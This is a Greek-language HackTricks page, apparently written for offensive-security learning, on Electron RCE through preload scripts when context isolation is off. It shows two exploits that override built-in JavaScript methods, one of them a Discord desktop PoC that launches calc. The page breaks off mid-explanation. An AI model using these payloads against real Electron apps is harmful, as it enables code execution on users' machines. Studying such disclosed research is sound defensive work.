Electron contextIsolation RCE μέσω κώδικα preload
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Παράδειγμα 1
Παράδειγμα από https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Αυτός ο κώδικας ανοίγει http(s) συνδέσμους με τον προεπιλεγμένο περιηγητή:
Κάτι σαν file:///C:/Windows/systemd32/calc.exe
θα μπορούσε να χρησιμοποιηθεί για να εκτελέσει μια αριθμομηχανή, το SAFE_PROTOCOLS.indexOf
το αποτρέπει.
Επομένως, ένας επιτιθέμενος θα μπορούσε να εισάγει αυτόν τον κώδικα JS μέσω XSS ή αυθαίρετης πλοήγησης σε σελίδα:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Καθώς η κλήση στο SAFE_PROTOCOLS.indexOf
θα επιστρέφει πάντα 1337, ο επιτιθέμενος μπορεί να παρακάμψει την προστασία και να εκτελέσει το calc. Τελική εκμετάλλευση:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Ελέγξτε τις αρχικές διαφάνειες για άλλους τρόπους εκτέλεσης προγραμμάτων χωρίς να υπάρχει προτροπή για άδειες.
Φαίνεται ότι ένας άλλος τρόπος για να φορτώσετε και να εκτελέσετε κώδικα είναι να αποκτήσετε πρόσβαση σε κάτι όπως file://127.0.0.1/electron/rce.jar
Παράδειγμα 2: RCE της εφαρμογής Discord
Παράδειγμα από https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Όταν έλεγξα τα preload scripts, διαπίστωσα ότι το Discord εκθέτει τη λειτουργία, η οποία επιτρέπει σε ορισμένα επιτρεπόμενα modules να καλούνται μέσω DiscordNative.nativeModules.requireModule('MODULE-NAME')
, στη σελίδα web.
Εδώ, δεν μπορούσα να χρησιμοποιήσω modules που μπορούν να χρησιμοποιηθούν για RCE απευθείας, όπως το child_process module, αλλά βρήκα έναν κώδικα όπου μπορεί να επιτευχθεί RCE παρακάμπτοντας τις ενσωματωμένες μεθόδους JavaScript και παρεμβαίνοντας στην εκτέλεση του εκτεθειμένου module.
Ακολουθεί το PoC. Μπόρεσα να επιβεβαιώσω ότι η εφαρμογή calc εμφανίζεται όταν καλώ τη λειτουργία getGPUDriverVersions
που ορίζεται στο module που ονομάζεται "discord_utils" από τα devTools, ενώ παρακάμπτω το RegExp.prototype.test
και το Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Η συνάρτηση getGPUDriverVersions
προσπαθεί να εκτελέσει το πρόγραμμα χρησιμοποιώντας τη βιβλιοθήκη "execa", όπως το εξής:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Συνήθως, το execa προσπαθεί να εκτελέσει το "nvidia-smi.exe", το οποίο καθορίζεται στη μεταβλητή nvidiaSmiPath
, ωστόσο, λόγω της υπερκαθορισμένης RegExp.prototype.test
και Array.prototype.join
, το επιχείρημα αντικαθίσταται με "calc" στην εσωτερική επεξεργασία του _execa_**.
Συγκεκριμένα, το επιχείρημα αντικαθίσταται αλλάζοντας τα παρακάτω δύο μέρη.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.